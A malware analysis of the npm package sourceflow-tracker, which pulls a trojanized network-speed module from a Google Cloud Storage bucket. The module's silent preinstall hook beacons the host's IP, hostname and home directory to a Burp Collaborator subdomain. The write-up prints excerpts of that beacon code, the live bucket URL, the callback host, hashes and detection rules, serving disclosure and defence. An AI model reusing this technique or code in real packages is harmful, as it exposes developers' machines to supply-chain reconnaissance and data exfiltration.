Most malicious npm packages hide the payload in the tarball you install; sourceflow-tracker couldn't be bothered. Its only load-bearing content is a dependency whose version string is a URL into a Google Cloud Storage bucket, so npm does the fetching and npm does the detonating, and the registry never holds a copy to scan. What it retrieves is a verbatim copy of the public network-speed module with a beacon stapled on, phoning the host's internal IP, hostname, and home directory to a Burp Collaborator subdomain — dependency-confusion research from the shop-minis cluster, only this time the walrus sends npm to fetch its bucket.
Package metadata
| Field | Value |
|---|---|
| Name | sourceflow-tracker |
| Version | 99.91.9 |
| Author | lslsls |
| Description | lspodcc |
| License | UNLICENSED |
| Dependency | ltidisafe: https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz |
Stage 1 — sourceflow-tracker: the bucket dependency
The published package is an empty suit: a one-line index.js, npm's stock test script, and one dependency entry whose version — normally a semver range — is a raw URL into a public GCS bucket. npm resolves remote-tarball URLs without complaint, so storage.googleapis.com ships stage two: a domain every corporate proxy already waves through, hosting a tarball the operator can swap without touching npm again. cleave carries a rule named for exactly this, a GCS bucket masquerading as a dependency version.
// sourceflow-tracker package.json — the entire malicious surface
"dependencies": {
"ltidisafe": "https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz"
}
| Trait | What it caught | |
|---|---|---|
objectives/supply-chain/metadata-anomaly/dependency/direct-url::dep-bucket-gcs |
Dependency value is a GCS bucket URL: storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz |
|
objectives/supply-chain/metadata-anomaly/dependency/direct-url::url-dep-minimal-metadata |
URL dependency paired with skeletal metadata (lspodcc) |
|
objectives/supply-chain/metadata-anomaly/versioning::npm-version-major-40-plus |
Version 99.91.9 — a dependency-confusion squat signal |
|
objectives/supply-chain/metadata-anomaly/package/npm::npm-init-default-test |
Stock npm init placeholder test script |
Stage 2 — pack_ux_foundry: the preinstall beacon
The tarball is a faithful copy of the public network-speed module with the malware bolted on as a separate test.js, fired from a preinstall hook with its output routed to oblivion. It grabs the host's internal IPv4 (in the clear), hostname, and home directory (both hex-encoded to survive as a DNS label), then exfils each one not through its own HTTP client but by pointing the borrowed library's checkDownloadSpeed at the Collaborator URL — the "speed test" is the exfil. Each value leaves as the leftmost label of <value>.ux-foundry.<collab>.oastify.com, which leaks at DNS resolution whether or not the GET ever lands.
// pack_ux_foundry test.js — runs from preinstall, beacons three facts
const hn = stringToHex(os.hostname()); // hostname, hex'd for a DNS label
const hd = stringToHex(os.homedir()); // home dir, hex'd
var localip = getIp('IPv4'); // internal IPv4, in clear
getNetworkDownloadSpeedData(localip); // → GET http://<data>.ux-foundry.<collab>.oastify.com
getNetworkDownloadSpeedData(hn);
getNetworkDownloadSpeedData(hd);
| Trait | What it caught | |
|---|---|---|
objectives/supply-chain/install-hook/scripts/lifecycle::silent-obfuscated-npm-dropper |
preinstall runs node test.js > /dev/null 2>&1 |
|
objectives/exfiltration/dns/tunnel::subdomain-encode |
Victim data encoded as the leftmost subdomain label of wwwz15e554m201wwajfl7m1ey54z1nq.oastify.com |
|
objectives/supply-chain/recon-exfil/dns::dns-lookup-with-canary-domain |
Host recon resolved through an oast canary domain |
|
objectives/exfiltration/oob/endpoint::oastify |
Callback host is a Burp Collaborator subdomain on oastify.com |
|
objectives/supply-chain/recon-exfil/package::npm-victim-id-recon |
Collects host identity via os.networkInterfaces and os.homedir |
|
objectives/supply-chain/trojanized/library/framework::preinstall-hook |
A preinstall hook grafted onto a copied library |
Same recipe as shop-minis
Strip the costume and this is the shop-minis probe again: dependency-confusion recon beaconed to a Burp Collaborator subdomain, then it politely stops with no stealer or persistence, the only change being that the bucket — not an install hook — carries the bag. The mercy is that this bucket holds a recon ping; the same trick with worse cargo would look identical until somebody re-read the tarball.
Indicators
| Type | Value |
|---|---|
| Stage-0 tarball SHA-256 | 4e87b803b8e6a18cfef9bb81e186d927081290f7870ab3ce6cf9b4c2eaf81e3e |
| Stage-0 index.js SHA-256 | e89c7bb78ab236d8872813fcf9dea56166bcf717f07b264d819223f06c3d9afd |
| Stage-2 package | s.ls.ls.ls@1.0.5 |
| Stage-2 tarball SHA-256 | 1cc73e93d4577fca7478854b4ada86bc78ed8b83369928fd97b4225809d76b52 |
| Stage-2 index.js SHA-256 | e9105cfb50a1d8d3d8cabbc1a8dfd0a04966d00bbdd8707d65001e930f842bf5 |
| Stage-2 test.js SHA-256 | 6470d87928dbb2ee3950ec33cbc30d1809bf395fadb98cf0d91d6f6e8115d4b0 |
| OOB callback | http://<data>.ux-foundry.wwwz15e554m201wwajfl7m1ey54z1nq.oastify.com |